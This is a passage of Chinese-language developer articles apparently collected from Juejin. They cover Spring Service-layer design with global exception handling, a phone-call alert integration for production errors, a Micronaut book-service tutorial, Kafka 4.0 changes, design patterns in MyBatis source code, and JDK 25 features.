相比之下,以下做法将展示逻辑留给 Controller 层,保证了业务逻辑的纯粹性:
@Service
public class UserService {
public User getUserById(Long id) {
User user = userMapper.selectById(id);
if (user == null) {
throw new BusinessException(用户不存在);
}
return user;
}
}
@RestController
public class UserController {
@Autowired
private UserService userService;
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
}
让每一层都专注于自己的职责。
可复用性问题
当Service层返回Result时,会严重影响方法的可复用性。
假设我们有一个订单服务需要调用用户服务:
@Service
public class OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 不推荐的方式:需要解包Result
Result<User> userResult = userService.getUserById(userId);
if (!userResult.isSuccess()) {
throw new BusinessException(userResult.getMessage());
}
User user = userResult.getData();
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
这种写法有个很明显的问题。
OrderService 作为另一个业务服务,业务之间的调用本来应该简单直接,但使用 Result 带来了两个问题:
- 不知道
Result里到底包含什么,还得去查看代码里面的实现,写起来麻烦。 - 还需要额外判断
Result的状态,增加了不必要的复杂度。
如果是调用第三方外部服务,需要这种包装还能理解,但在自己业务之间互相调用时,完全没必要这样做。
如果Service返回纯业务对象:
@Service
public class OrderService {
@Autowired
private UserService userService;
public void createOrder(Long userId, OrderDTO orderDTO) {
// 推荐的方式:直接获取业务对象
User user = userService.getUserById(userId);
// 后续业务逻辑
validateUserStatus(user);
// ...
}
}
代码变得简洁且符合直觉。
业务层之间直接传递业务对象,保持简单和清晰。
异常处理机制
有些 Service 层在业务判断失败后,会直接返回 Result.fail(xxx) 这样的代码,例如:
public Result<Void> createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
return Result.fail("用户ID不能为空");
}
// 后续业务逻辑
return Result.success();
}
这种做法有几个问题:
- 重复的错误处理:每个方法都得写一大堆类似的错误判断代码,增加了代码量。
- 错误分散:错误处理分散在每个方法里,如果需要改进错误逻辑,要在多个地方修改,麻烦且容易出错。
而如果我们通过抛出异常并结合全局异常处理来统一处理错误,例如:
public void createOrder(Long userId, OrderDTO orderDTO) {
if (userId == null) {
throw new BusinessException("用户ID不能为空");
}
// 后续业务逻辑
}
再通过全局异常捕获来转换为 Result:
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(BusinessException.class)
public Result<Void> handleBusinessException(BusinessException e) {
return Result.error(400, e.getMessage());
}
@ExceptionHandler(Exception.class)
public Result<Void> handleException(Exception e) {
log.error("系统异常", e); // 这里可以查看堆栈信息
return Result.error(500, "系统繁忙");
}
}
这样做的好处是:
- 减少重复代码:业务方法不再需要写重复的错误判断,代码更简洁。
- 集中错误处理:错误处理集中在一个地方,修改时只需修改全局异常处理器,不用改动每个 Service 层方法。
- 业务与错误分离:业务逻辑专注处理核心功能,错误处理交给统一的机制,代码更加清晰易懂。
而且异常可以携带更丰富的上下文信息,如果业务侧需要时,可以带上堆栈信息,便于一些问题的定位。
测试便利性
Service层返回业务对象而不是Result时,能够大大提升单元测试的便利性:
@SpringBootTest
public class UserServiceTest {
@Autowired
private UserService userService;
@Test
public void testGetUserById() {
// 推荐的方式:直接断言业务对象
User user = userService.getUserById(1L);
assertNotNull(user);
assertEquals(张三, user.getName());
}
@Test
public void testGetUserById_NotFound() {
// 推荐的方式:断言抛出异常
assertThrows(BusinessException.class, () -> {
userService.getUserById(999L);
});
}
}
如果Service返回Result,测试代码则需要写得更复杂:
@Test
public void testGetUserById() {
// 不推荐的方式:需要解包Result
Result<User> result = userService.getUserById(1L);
assertTrue(result.isSuccess());
assertNotNull(result.getData());
assertEquals(张三, result.getData().getName());
}
测试代码变得莫名冗长,还得去关注响应结构,这并不是Service层测试的关注点。
Service 层本应专注于业务逻辑,测试也应该直接验证业务数据。
领域驱动设计角度
再换个角度。
从领域驱动设计(DDD)的角度来看,Service 层属于应用层或领域层,应该使用领域语言来表达业务逻辑。
而 Result 是基础设施层的概念,代表 HTTP 响应格式,不应该污染领域层。
例如,考虑转账业务:
@Service
public class TransferService {
public TransferResult transfer(Long fromAccountId, Long toAccountId, BigDecimal amount) {
Account fromAccount = accountRepository.findById(fromAccountId);
Account toAccount = accountRepository.findById(toAccountId);
fromAccount.deduct(amount);
toAccount.deposit(amount);
accountRepository.save(fromAccount);
accountRepository.save(toAccount);
return new TransferResult(fromAccount, toAccount, amount);
}
}
在这个例子中,TransferResult 是一个领域对象,代表了转账的结果,包含了与业务相关的意义,而不是一个通用的 HTTP 响应封装 Result。
这种做法更符合领域模型的表达,体现了领域层的职责——处理业务逻辑,而不是涉及 HTTP 响应格式的细节。
接口适配的灵活性
当 Service 层返回纯粹的业务对象时,Controller 层可以根据不同的接口需求灵活封装响应:
@RestController
@RequestMapping("/api")
public class UserController {
@Autowired
private UserService userService;
// REST接口返回Result
@GetMapping("/user/{id}")
public Result<User> getUser(@PathVariable Long id) {
User user = userService.getUserById(id);
return Result.success(user);
}
// GraphQL接口直接返回对象
@QueryMapping
public User user(@Argument Long id) {
return userService.getUserById(id);
}
// RPC接口返回自定义格式
@DubboService
public class UserRpcServiceImpl implements UserRpcService {
public UserDTO getUserById(Long id) {
User user = userService.getUserById(id);
return convertToDTO(user);
}
}
}
同一个Service方法可以被不同类型的接口复用,每个接口根据自己的协议要求封装响应。
强行使用 Result 会导致接口的适配性变差,无法根据不同协议的需求灵活定制响应格式。
灵活性反而丢失了。
事务边界清晰
Service 层通常是事务边界所在,当 Service 返回业务对象时,事务的语义更加清晰:
@Service
public class OrderService {
@Transactional
public Order createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
return order;
}
}
在这个例子中,事务是围绕 Service 层的方法展开的,@Transactional 注解确保在业务逻辑执行失败时,事务会回滚。因为方法正常返回时,事务会提交;如果抛出异常,事务会回滚,事务的边界非常明确。
如果 Service 返回的是 Result,很难界定事务是否应该回滚。比如:
public Result<Order> createOrder(OrderDTO orderDTO) {
Order order = new Order();
// 设置订单属性
orderMapper.insert(order);
// 扣减库存
Result<Void> inventoryResult = inventoryService.deduct(orderDTO.getProductId(), orderDTO.getQuantity());
if (!inventoryResult.isSuccess()) {
return Result.fail("库存不足");
}
return Result.success(order);
}
在这种情况下,如果库存不足,虽然 Result 返回失败信息,但事务并不会回滚,可能会导致数据不一致,反而还得额外去抛出异常。
而通过抛出异常的方式,事务的回滚语义非常清晰:异常抛出则回滚,方法正常返回则提交,这种设计确保了事务的边界更加明确,避免了潜在的数据一致性问题。
写在最后
看来阿城要走的路还很长,码路漫漫,踏浪前行。
2026年,祝大家加班少,薪水多,bug少,头发多,多写点注释,少走点弯路。
人生就像一个大项目,需求多,时间紧,但没关系——bug 和头发总有一个会先来。
🤣
来源:juejin.cn/post/7594817135128248354
后端开发必备:生产环境异常自动电话通知方案
生产环境出bug了但没及时发现?支付接口异常导致资损?这个语音通知方案专为开发者打造,重要异常直接打电话,让你第一时间响应处理!
作为开发者,我们最怕的就是生产环境出现异常却没有及时发现。飞书群、钉钉群报警很容易错过,尤其是深夜或周末。今天分享一个专门针对开发者的语音电话通知解决方案,让重要异常第一时间电话通知到你。
🎯 典型使用场景
需要立即电话通知的开发场景:
- 🚨 API接口异常或超时
- 💰 支付流程异常(防止资损)
- 📊 数据处理任务失败
- 🔐 用户登录异常激增
- ⚡ 核心业务逻辑报错
🚀 3步快速集成
| 步骤 | 操作说明 |
|---|---|
| 1️⃣ 扫码注册 | 访问 push.spug.cc,微信扫码登录 |
| 2️⃣ 创建模板 | 新建消息模板 → 语音通道 → 语音模板 → 动态推送对象 |
| 3️⃣ 集成代码 | 复制API地址,添加到异常处理代码中 |

💻 代码集成示例
🐍 Python(异常处理)
import requests
import logging
def send_voice_alert(message, phone):
"""发送语音告警"""
url = "https://push.spug.cc/send/A27L****bgEY"
data = {'key1': message, 'targets': phone}
try:
response = requests.post(url, json=data, timeout=5)
return response.json()
except Exception as e:
logging.error(f"语音告警发送失败: {e}")
# 在异常处理中使用
try:
# 你的业务代码
process_payment(order_id)
except PaymentException as e:
# 支付异常立即电话通知
send_voice_alert(f"支付异常: {str(e)}", "186xxxx9898")
raise
☕ Java(Spring Boot异常处理)
@Component
public class VoiceAlertService {
private final RestTemplate restTemplate = new RestTemplate();
private static final String VOICE_URL = "https://push.spug.cc/send/A27L****bgEY";
public void sendVoiceAlert(String message, String phone) {
try {
Map<String, String> data = new HashMap<>();
data.put("key1", message);
data.put("targets", phone);
HttpHeaders headers = new HttpHeaders();
headers.setContentType(MediaType.APPLICATION_JSON);
HttpEntity<Map<String, String>> entity = new HttpEntity<>(data, headers);
restTemplate.postForEntity(VOICE_URL, entity, String.class);
} catch (Exception e) {
log.error("语音告警发送失败: {}", e.getMessage());
}
}
}
// 全局异常处理器
@ControllerAdvice
public class GlobalExceptionHandler {
@Autowired
private VoiceAlertService voiceAlertService;
@ExceptionHandler(CriticalException.class)
public ResponseEntity<String> handleCriticalException(CriticalException e) {
// 关键异常立即电话通知
voiceAlertService.sendVoiceAlert("API异常: " + e.getMessage(), "186xxxx9898");
return ResponseEntity.status(500).body("Internal Server Error");
}
}
🔧 实际开发场景
场景1: 支付接口监控
def create_order_payment():
try:
result = payment_service.create_order()
if result.status != 'success':
send_voice_alert("支付订单创建失败", "186xxxx9898")
except Exception as e:
send_voice_alert(f"支付系统异常: {str(e)}", "186xxxx9898")
场景2: 定时任务监控
def daily_data_sync():
try:
sync_user_data()
except Exception as e:
send_voice_alert("每日数据同步失败", "186xxxx9898")
raise
场景3: API响应时间监控
@Component
public class ApiPerformanceInterceptor implements HandlerInterceptor {
@Autowired
private VoiceAlertService voiceAlertService;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response,
Object handler) throws Exception {
request.setAttribute("startTime", System.currentTimeMillis());
return true;
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception ex) throws Exception {
long startTime = (Long) request.getAttribute("startTime");
long duration = System.currentTimeMillis() - startTime;
if (duration > 5000) { // 超过5秒
String message = String.format("API响应慢: %s 耗时%dms",
request.getRequestURI(), duration);
voiceAlertService.sendVoiceAlert(message, "186xxxx9898");
}
}
}
📋 参数说明
| 参数 | 说明 | 示例值 |
|---|---|---|
key1 | 异常消息内容 | "支付接口异常" |
targets | 接收电话的手机号 | "186xxxx9898" |
❓ 开发者常见问题
🤔 如何避免告警风暴?
建议设置异常频率限制,同类异常5分钟内只发送一次。
💰 语音通话收费吗?
语音通话按次计费,建议只对关键异常使用,普通日志用短信或微信。
🛡️ 如何保护API安全?
- 不要将API地址提交到公开代码仓库
- 可以设置IP白名单限制调用来源
- 建议使用环境变量存储API地址
🎉 为什么开发者需要语音通知?
✅ 及时响应:生产故障分秒必争,电话比微信更直接
✅ 降低损失:支付、订单等关键业务异常能立即处理
✅ 简单集成:几行代码搞定,无需复杂配置
✅ 多语言支持:Python、Node.js、Java等任何语言都能用
✅ 个人友好:无需企业资质,个人开发者也能用
记住:好的开发者不是不写bug,而是能第一时间发现并修复bug!
网站链接:push.spug.cc
来源:juejin.cn/post/7531844121465274377
Spring 的替代方案:Micronaut
一、为什么选择 Micronaut?
在开始编码前,先了解 Micronaut 的核心优势:
| 特性 | Micronaut | Spring Boot |
|---|---|---|
| 启动速度 | 毫秒级(依赖 AOT 编译) | 秒级(依赖反射和动态代理) |
| 内存占用 | 极低(适合 Serverless 环境) | 较高(需加载完整上下文) |
| 依赖注入 | 编译时生成代码(无反射) | 运行时反射(影响性能) |
| 响应式编程 | 原生支持(Project Reactor) | 支持 WebFlux(但不如 Micronaut 集成紧密) |
| GraalVM 支持 | 原生优化(直接生成原生镜像) | 需要额外配置(Spring Native) |
适用场景:
- 高并发、低延迟的微服务(如 API 网关、实时数据处理)。
- Serverless 环境(如 AWS Lambda、Azure Functions)。
- 资源受限的边缘计算设备。
二、示例项目:构建一个图书管理微服务
我们将实现一个简单的 图书管理服务,支持以下功能:
- 添加图书(POST /books)。
- 查询所有图书(GET /books)。
- 根据 ID 查询图书(GET /books/{id})。
1. 初始化项目
使用 Micronaut Launch 生成项目模板:
(1) 选择 Micronaut Version:4.9.0。
(2) 语言:Java。
(3) 构建工具:Gradle(或 Maven)。
(4) 添加依赖:
- Micronaut Data JDBC(数据库访问)。
- Micronaut HTTP Server(Web 服务)。
- Lombok(简化代码)。
- H2 Database(内存数据库,便于测试)。
生成后的项目结构如下:
src/
├── main/
│ ├── java/com/cycad/micronaut/
│ │ ├── controller/ # 控制器层
│ │ ├── model/ # 数据模型
│ │ ├── repository/ # 数据访问层
│ │ └── Application.java # 主启动类
│ └── resources/
│ └── application.yml # 配置文件
2. 定义数据模型
创建 Book 实体类,使用 Lombok 简化代码:
import io.micronaut.data.annotation.AutoPopulated;
import io.micronaut.data.annotation.Id;
import io.micronaut.data.annotation.MappedEntity;
import lombok.Data;
@Data
@MappedEntity
publicclass Book {
@Id
@AutoPopulated
private Long id;
private String title;
private String author;
private Double price;
}
3. 实现数据访问层
使用 Micronaut Data JDBC 定义 BookRepository,无需编写 SQL:
import com.cycad.micronaut.model.Book;
import io.micronaut.data.jdbc.annotation.JdbcRepository;
import io.micronaut.data.model.query.builder.sql.Dialect;
import io.micronaut.data.repository.CrudRepository;
@JdbcRepository(dialect = Dialect.H2)
public interface BookRepository extends CrudRepository<Book, Long> {
}
4. 编写控制器层
实现 RESTful API 控制器:
import com.cycad.micronaut.model.Book;
import com.cycad.micronaut.repository.BookRepository;
import io.micronaut.http.annotation.*;
import jakarta.inject.Inject;
import java.util.List;
@Controller("/books")
publicclass BookController {
@Inject
private BookRepository bookRepository;
@Get
public List<Book> listBooks() {
return bookRepository.findAll().toList();
}
@Get("/{id}")
public Book getBookById(Long id) {
return bookRepository.findById(id)
.orElseThrow(() -> new RuntimeException("Book not found"));
}
@Post
public Book createBook(@Body Book book) {
return bookRepository.save(book);
}
}
5. 配置数据库
在 application.yml 中配置 H2 内存数据库:
# src/main/resources/application.yml
micronaut:
application:
name:book-service
server:
port:8080
datasources:
default:
url:jdbc:h2:mem:devDb;LOCK_TIMEOUT=10000;DB_CLOSE_ON_EXIT=FALSE
driverClassName:org.h2.Driver
username:sa
password:""
schema-generate:CREATE_DROP
dialect:H2
6. 启动服务
运行主类 Application.java:
import io.micronaut.runtime.Micronaut;
public class Application {
public static void main(String[] args) {
Micronaut.run(Application.class, args);
}
}
观察控制台输出,Micronaut 的启动速度极快(通常在 100ms 以内):
14:25:30.123 [main] INFO i.m.context.env.DefaultEnvironment - Established active environments: [cli, test]
14:25:30.456 [main] INFO i.m.h.s.netty.NettyHttpServer - Server Started: http://localhost:8080
三、测试 API
使用 curl 或 Postman 测试接口:
(1) 添加图书:
curl -X POST -H "Content-Type: application/json" \
-d '{"title": "Effective Java", "author": "Joshua Bloch", "price": 45.99}' \
http://localhost:8080/books
响应:
{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}
(2) 查询所有图书:
curl http://localhost:8080/books
响应:
[{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}]
(3) 根据 ID 查询:
curl http://localhost:8080/books/1
响应:
{"id":1,"title":"Effective Java","author":"Joshua Bloch","price":45.99}
四、GraalVM 原生镜像
通过 GraalVM 将应用编译为原生二进制文件,进一步减少启动时间:
(1) 安装 GraalVM 和 Native Image 工具。
(2) 在 build.gradle 中添加插件:
id 'io.micronaut.application' version '3.10.0'
id 'org.graalvm.nativeimage' version '0.9.21'
(3) 执行编译命令:
./gradlew nativeImage
(4) 生成的可执行文件位于 build/native-image/,启动速度可压缩至 10ms 以内!
五、总结
Micronaut 通过 AOT 编译、低内存占用 和 快速启动 等特性,为微服务开发提供了高性能的解决方案。本文通过一个完整的图书管理服务示例,演示了其核心功能,并对比了与 Spring Boot 的性能差异。无论是构建传统微服务还是 Serverless 应用,Micronaut 都是一个值得尝试的选择。
来源:juejin.cn/post/7527884547537223690
Kafka 4.0 正式发布,彻底抛弃 Zookeeper,队列功能来袭!
Apache Kafka 4.0 正式发布了,这是一次里程碑式的版本更新。这次更新带来的改进优化非常多,不仅简化了 Kafka 的运维,还显著提升了性能,扩展了应用场景。

我这里简单聊聊我觉得最重要的 3 个改动:
- KRaft 模式成为默认模式
- 消费者重平衡协议升级
- 队列功能(早期访问版本)
详细更新介绍可以参考官方文档:http://www.confluent.io/blog/introd… 。
KRaft 模式成为默认模式
在 Kafka 2.8 之前,Kafka 最被大家诟病的就是其重度依赖于 Zookeeper 做元数据管理和集群的高可用(ZK 模式)。在 Kafka 2.8 之后,引入了基于 Raft 协议的 KRaft 模式(Kafka Raft),不再依赖 Zookeeper,大大简化了 Kafka 的架构,让你可以以一种轻量级的、单进程的方式来使用 Kafka。

KRaft 模式在后续的版本中不断完善,直到 Kafka 3.3.1,被正式标记为生产环境可用(Production Ready)。

Kafka 4.0 则迈出了更大的一步——彻底移除了对 Zookeeper 的支持,并默认采用 KRaft 模式。
需要注意的是,Kafka 4.0 不再支持以 ZK 模式运行或从 ZK 模式迁移。如果你的 Kafka 仍然使用 ZK 模式,官方建议先升级到过渡版本(如 Kafka 3.9),执行 ZK 迁移后再升级到目标版本。
详细介绍:developer.confluent.io/learn/kraft…
消费者重平衡协议升级
全新的消费者重平衡协议正式 GA 了,可以告别“stop-the-world”重新平衡了!这个协议的核心思想最早在 Kafka 2.4 版本 通过KIP-429: Kafka Consumer Incremental Rebalance Protocol 实现。
新协议的核心在于增量式重平衡,不再依赖全局同步屏障,而是由组协调器(Gr0upCoordinator)驱动,各个消费者独立地与协调器交互,只调整自身相关的分区分配,从而将全局的“停顿”分解成多个局部的、微小的调整。只有需要调整的消费者和分区才会发生变更,未受影响的消费者可以继续正常工作(旧有的再均衡协议依赖于组范围内的同步屏障,所有消费者都需要参与,这会导致明显的“停顿”)。

详细介绍:cwiki.apache.org/confluence/…
队列功能(早期访问版本)
Kafka 4.0 通过引入共享组 (Share Gr0up) 机制提供了类似队列的功能。不过,它并非真正意义上的队列,而是利用 Kafka 已有的主题(Topic)和分区(Partition)机制,结合新的消费模式和记录确认机制来实现类似队列的行为。
Kafka 发布订阅模型
共享组解决了传统 Kafka 消费者组(Consumer Gr0ups)在某些场景下的局限性,主要体现在:
- 支持多消费者协同消费:多个消费者可以协同消费同一主题的消息,并可以同时处理同一分区的数据。每个消息在被确认之前,都会被一个时间限制的锁机制保护,确保同一时刻只有一个消费者可以尝试处理。
- 突破消费者组与分区数量的限制:共享组的消费者数量可以超过主题的分区数量,从而更好地支持高并发消费场景。而消费者组的并行消费能力受限于分区数量,这往往导致用户为了满足峰值负载下的并行消费需求而创建过多的分区,造成资源浪费。
- 消息的独立确认:支持对每条消息进行独立确认、释放或拒绝,提供更精细的消息处理能力。
- 消息投递次数记录:系统会记录每条消息的投递次数,方便处理无法处理的消息。
共享组还支持无队列深度限制和基于时间点的恢复能力,极大地扩展了 Kafka 的应用场景。
详细介绍:cwiki.apache.org/confluence/…
Kafka 常见面试题
关于 Kafka 以及其他常见消息队列的知识点/面试题总结,大家可以参考这两篇文章:
来源:juejin.cn/post/7485584242040062002
从Mybatis源码学会了什么
摘要:MyBatis源码展现了优秀的设计模式和架构思想。其运用建造者模式创建复杂对象,动态代理实现Mapper接口,装饰器动态扩展功能等。架构上采用清晰分层设计,插件化扩展机制实现开闭原则,多级缓存提升性能,面向接口编程降低耦合。这些设计理念对日常业务开发也有很大借鉴价值。
通过以下系列博文,我们熟悉了Mybatis源码实现的诸多细节,如Executor接口及其实现、缓存体系、自定义插件等。
- Mybatis入门到精通 一
- Mybatis的Executor和缓存体系
- Mybatis二级缓存实现详解
- Mybatis执行Mapper过程详解
- Mybatis插件原理及分页插件
- Spring集成Mybatis原理详解
这次,让我们跳出局部,看看Mybatis在设计和架构上,有哪些值得我们学习的地方。
注:本文中源码来自mybatis 3.4.x版本,地址github.com/mybatis/myb…
一 设计模式
1.1 建造者模式
MyBatis 大量使用建造者模式解决「复杂对象初始化」问题,比如 SqlSessionFactoryBuilder、XMLConfigBuilder、MapperBuilderAssistant 等。
以SqlSessionFactoryBuilder为例,在创建SqlSessionFactory前需要先解析主配置文件,这个过程非常繁琐。使用建造者模式:
- 分离「对象构建逻辑」和「对象使用逻辑」,让复杂对象创建流程清晰;
- 建造者可以分步骤校验配置正确性,避免无效对象产生;
- 多重载的 build 方法, 适配不同入参场景 。
public class SqlSessionFactoryBuilder {
public SqlSessionFactory build(Reader reader) {
return build(reader, null, null);
}
// 简化代码:reader就是配置文件的读取流
public SqlSessionFactory build(Reader reader, String environment, Properties properties) {
XMLConfigBuilder parser = new XMLConfigBuilder(reader, environment, properties);
return build(parser.parse());
}
}
1.2 工厂模式
工厂模式隐藏对象创建细节,上层无需关心「具体实现类」,只依赖接口。例如
SqlSessionFactory负责创建SqlSession,提供了多个重载实现。
- Executor、StatementHandler、ResultSetHandler、ParameterHandler只能由
Configuration中的newExecutor等方法创建,根据配置选择不同实现类;同时应用自定义插件。
1.3 动态代理
MyBatis 核心的特性之一是「Mapper 接口无需实现类」,底层通过 JDK 动态代理,实现接口方法调用触发SQL执行。详见 MapperProxyFactory,缓存方法元数据,避免重复解析。
// 缓存mapper方法元数据,避免重复解析
private final Map<Method, MapperMethod> methodCache = new ConcurrentHashMap<Method, MapperMethod>();
此外,插件原理也是动态代理,定义Interceptor接口声明代理逻辑、代理对象创建等。使用户可以自定义插件实现。

1.4 模板方法
- 模板方法将「不变的通用逻辑」抽离到父类,「可变的差异化逻辑」交给子类实现;
- 避免子类重复编写通用代码(如缓存检查、参数校验),降低代码冗余;
- 父类控制流程,子类只关注核心逻辑,符合「开闭原则」。
BaseExecutor 实现了模板方法模式,将 Executor 的通用流程(如参数处理、SQL 执行、结果集处理)抽象为模板方法,具体子类(SimpleExecutor/BatchExecutor/ReuseExecutor)只需实现差异化逻辑。
// 模板方法,一级缓存使用逻辑
@Override
public <E> List<E> query(MappedStatement ms, Object parameter, RowBounds rowBounds, ResultHandler resultHandler, CacheKey key, BoundSql boundSql) throws SQLException {
// ...,会调用doQuer()
}
// 由子类实现
protected abstract <E> List<E> doQuery(...)
1.5 装饰模式
用装饰模式替代继承,无需定义子类,就能给对象动态增加职责。
如通过CachingExecutor装饰,给BaseExecutor增加二级缓存能力。
public Executor newExecutor(Transaction transaction, ExecutorType executorType) {
// 对BaseExecutor子类进行装饰
if (cacheEnabled) {
executor = new CachingExecutor(executor);
}
// 省略...
}

如Cache接口体系,定义了很多装饰器,根据用户配置,实现功能特性自由组合。
1.6 策略模式
Executor接口可根据用户配置,运行时可切换SimpleExecutor、ReuseExecutor或BatchExecutor,实现不同的SQL执行策略。
RoutingStatementHandler 根据配置路由到不同的 StatementHandler实现。
1.7 注册中心
源码中大量使用 Registry 模式来管理可扩展组件, 可以统一初始化、统一查找、统一生命周期;例如:
- TypeHandlerRegistry
- MapperRegistry
- LanguageDriverRegistry
- CacheRegistry

二 架构思维
2.1 分层设计
MyBatis的核心分层非常清晰,每层只做一件事,符合「单一职责原则」:

- 各层职责:
- Mapper 层:用户接口,定义 SQL 操作;
- SqlSession 层:会话入口,封装 Executor 调用;
- Executor 层:执行器,处理缓存、事务、SQL 执行流程;
- StatementHandler 层:处理 SQL 拼接、Statement 创建;
- Parameter/ResultSetHandler 层:参数绑定、结果集映射;
- 架构思维:
- 分层降低耦合:修改结果集映射逻辑,不会影响 Executor 层;
- 每层依赖「接口」而非「实现」:比如 Executor 是接口,具体实现可替换;
- 分层便于测试:可单独测试 ParameterHandler 的参数绑定逻辑。
2.2 插件化设计
MyBatis 提供了插件扩展机制(Interceptor),允许开发者通过拦截器增强核心组件(Executor、StatementHandler、ParameterHandler、ResultSetHandler)的功能,实现如分页、日志、加密等。
- 核心设计:
- 定义
Interceptor接口,开发者实现intercept方法即可拦截目标方法; - 通过
@Intercepts注解指定拦截的类和方法,无需修改源码; - 拦截器链(InterceptorChain)通过动态代理层层包装目标对象,保证插件的有序执行;
- 定义
- 架构思维:
- 「开闭原则」的良好体现:框架核心功能固定,扩展功能通过插件实现,无需修改源码;
- 「责任链模式」:多个插件按顺序执行,每个插件只处理自己的逻辑,互不干扰;
- 扩展点设计要「最小化」:只开放核心组件的关键方法,避免过度暴露内部逻辑。
2.3 多级缓存
MyBatis 实现了「一级缓存(SqlSession 级别)+ 二级缓存(Mapper 级别)」的多级缓存:
- 一级缓存:BaseExecutor 中的
localCache(PerpetualCache),默认开启,SqlSession 关闭后失效; - 二级缓存:CachingExecutor 包装普通 Executor,缓存数据存入 Mapper 对应的 Cache 对象,跨 SqlSession 共享;
同时支持集成 Redis/Ehcache 等第三方缓存 。
2.4 面向接口编程
MyBatis 全程贯彻「依赖倒置原则」,完全面向接口编程:接口定义「做什么」,实现类定义「怎么做」,替换实现类不影响上层逻辑;
- 核心组件都是接口:
Executor、StatementHandler、ParameterHandler、ResultSetHandler、SqlSession等; - 上层代码只依赖接口:比如
SqlSession的selectList方法,底层调用的是Executor接口的query方法,无需关心具体是 SimpleExecutor 还是 BatchExecutor。
2.5 约定优于配置
MyBatis 大量使用约定来减少配置,通过约定可以显著降低配置量,提升开发体验。例如:
- Mapper 接口与 XML 文件同名同包;
- 方法名与 SQL ID 一致;
- 结果集字段与 JavaBean 属性自动映射;
StatementHandler接口默认使用PreparedStatementHandler
2.6 架构思维总结
MyBatis源码体现了简单而不简陋的设计哲学:
- 高内聚低耦合 - 模块职责清晰,依赖抽象
- 开闭原则 - 对扩展开放,对修改关闭
- 组合优于继承 - 装饰器、代理模式的应用
- 关注点分离 - SQL、映射、执行逻辑分离
- 性能优化 - 缓存、延迟加载、连接复用
上述技巧和思维不仅适用于框架开发,在日常业务开发中也能直接落地。
- 小型项目:学习其简洁的API设计
- 中型项目:借鉴其分层架构和模式应用
- 大型项目:参考其扩展机制和插件体系
来源:juejin.cn/post/7598477092197220390
JDK 25(长期支持版) 发布,新特性解读!
JDK 25 重磅发布了!这是一个非常重要的版本,里程碑式。
JDK 25 是 LTS(长期支持版),至此为止,有 JDK8、JDK11、JDK17、JDK21 和 JDK 25 这五个长期支持版了。
JDK 21 共有 18 个新特性,这篇文章会挑选其中较为重要的一些新特性进行详细介绍:
- JEP 506: Scoped Values (作用域值)
- JEP 512: Compact Source Files and Instance Main Methods (紧凑源文件与实例主方法)
- JEP 519: Compact Object Headers (紧凑对象头)
- JEP 521: Generational Shenandoah (分代 Shenandoah GC)
- JEP 507: Primitive Types in Patterns, instanceof, and switch (模式匹配支持基本类型, 第三次预览)
- JEP 511: Module Import Declarations (模块导入声明)
- JEP 513: Flexible Constructor Bodies (灵活的构造函数体)
- JEP 508: Vector API (向量 API, 第十次孵化)
其实里面的很多新特性在之前的版本中就多次提到了,这里只是转正或者再次预览。
下图是从 JDK 8 到 JDK 24 每个版本的更新带来的新特性数量和更新时间:

JEP 506: 作用域值
作用域值(Scoped Values)可以在线程内和线程间共享不可变的数据,优于线程局部变量 ThreadLocal ,尤其是在使用大量虚拟线程时。
final static ScopedValue<...> V = new ScopedValue<>();
// In some method
ScopedValue.where(V, <value>)
.run(() -> { ... V.get() ... call methods ... });
// In a method called directly or indirectly from the lambda expression
... V.get() ...
作用域值通过其“写入时复制”(copy-on-write)的特性,保证了数据在线程间的隔离与安全,同时性能极高,占用内存也极低。这个特性将成为未来 Java 并发编程的标准实践。
JEP 512: 紧凑源文件与实例主方法
该特性第一次预览是由 JEP 445 (JDK 21 )提出,随后经过了 JDK 22 、JDK 23 和 JDK 24 的改进和完善,最终在 JDK 25 顺利转正。
这个改进极大地简化了编写简单 Java 程序的步骤,允许将类和主方法写在同一个没有顶级 public class的文件中,并允许 main 方法成为一个非静态的实例方法。
class HelloWorld {
void main() {
System.out.println("Hello, World!");
}
}
进一步简化:
void main() {
System.out.println("Hello, World!");
}
这是为了降低 Java 的学习门槛和提升编写小型程序、脚本的效率而迈出的一大步。初学者不再需要理解 public static void main(String[] args) 这一长串复杂的声明。对于快速原型验证和脚本编写,这也使得 Java 成为一个更有吸引力的选择。
JEP 519: 紧凑对象头
该特性第一次预览是由 JEP 450 (JDK 24 )提出,JDK 25 就顺利转正了。
通过优化对象头的内部结构,在 64 位架构的 HotSpot 虚拟机中,将对象头大小从原本的 96-128 位(12-16 字节)缩减至 64 位(8 字节),最终实现减少堆内存占用、提升部署密度、增强数据局部性的效果。
紧凑对象头并没有成为 JVM 默认的对象头布局方式,需通过显式配置启用:
- JDK 24 需通过命令行参数组合启用:
$ java -XX:+UnlockExperimentalVMOptions -XX:+UseCompactObjectHeaders ...; - JDK 25 之后仅需
-XX:+UseCompactObjectHeaders即可启用。
JEP 521: 分代 Shenandoah GC
Shenandoah GC 在 JDK12 中成为正式可生产使用的 GC,默认关闭,通过 -XX:+UseShenandoahGC 启用。
Redhat 主导开发的 Pauseless GC 实现,主要目标是 99.9% 的暂停小于 10ms,暂停与堆大小无关等
传统的 Shenandoah 对整个堆进行并发标记和整理,虽然暂停时间极短,但在处理年轻代对象时效率不如分代 GC。引入分代后,Shenandoah 可以更频繁、更高效地回收年轻代中的大量“朝生夕死”的对象,使其在保持极低暂停时间的同时,拥有了更高的吞吐量和更低的 CPU 开销。
Shenandoah GC 需要通过命令启用:
- JDK 24 需通过命令行参数组合启用:
-XX:+UseShenandoahGC -XX:+UnlockExperimentalVMOptions -XX:ShenandoahGCMode=generational - JDK 25 之后仅需
-XX:+UseShenandoahGC -XX:ShenandoahGCMode=generational即可启用。
JEP 507: 模式匹配支持基本类型 (第三次预览)
该特性第一次预览是由 JEP 455 (JDK 23 )提出。
模式匹配可以在 switch 和 instanceof 语句中处理所有的基本数据类型(int, double, boolean 等)
static void test(Object obj) {
